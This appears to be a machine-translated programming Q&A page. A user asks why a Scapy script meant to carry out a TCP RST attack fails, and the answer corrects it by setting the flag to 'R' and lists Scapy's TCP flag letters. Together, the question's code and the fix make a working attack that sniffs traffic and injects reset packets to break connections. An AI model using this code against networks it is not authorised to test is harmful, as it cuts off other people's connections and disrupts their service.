Scapy TCP RST atack

我试图用Scapy编写TCP RST atack,但是我的代码不起作用。请帮助我解决我的问题。

     from scapy.all import *

     def poison(packet):
         packet[TCP].flags='RST'
         sendp(packet)

     sniff(filter='tcp',prn=poison)

我认为flags有问题。有一个错误:

回溯(最近一次通话最后):
文件“Univer.py”,第6行,在sniff(filter ='tcp',prn = poison)
文件“/usr/lib/pymodules/python2.6/scapy/sendrecv.py”,第559行,在sniff r = prn(p)
文件“Univer.py”,第3行,在毒包[TCP] .flags ='RST'
文件“/usr/lib/pymodules/python2.6/scapy/packet.py”,第186行,在setattr self.setfieldval(attr,val)
文件“/usr/lib/pymodules/python2.6/scapy/packet.py”,第175行,在setfieldval self.fields [attr] = any2i(self,val)
文件“/usr/lib/pymodules/python2.6/scapy/fields.py”,第785行,在any2i中y | = 1 << self.names.index(i)

ValueError:未找到子字符串


在Scapy中设置TCP标志的正确方法是使用短(单字母)表单packet[TCP].flags = 'R' 。 使用当前的Scapy开发版本,您可以使用ls()获得接受的标志:

>>> ls(TCP, verbose=True)
sport         : ShortEnumField           = (20)
dport        : ShortEnumField           = (80)
seq            : IntField                           = (0)
ack            : IntField                            = (0)
dataofs    : BitField (4 bits)               = (None)
reserved  : BitField (3 bits)               = (0)
flags          : FlagsField (9 bits)          = (2)
               F, S, R, P, A, U, E, C, N
window    : ShortField                        = (8192)
chksum    : XShortField                      = (None)
urgptr       : ShortField                        = (0)
options     : TCPOptionsField            = ({})
链接地址: http://www.djcxy.com/p/67245.html

上一篇: Scapy TCP RST atack

下一篇: After installing django in virtual environment, still can't import module